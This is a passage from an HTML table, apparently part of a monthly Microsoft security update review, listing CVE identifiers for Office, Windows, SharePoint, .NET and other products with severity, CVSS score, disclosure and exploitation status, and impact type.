  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
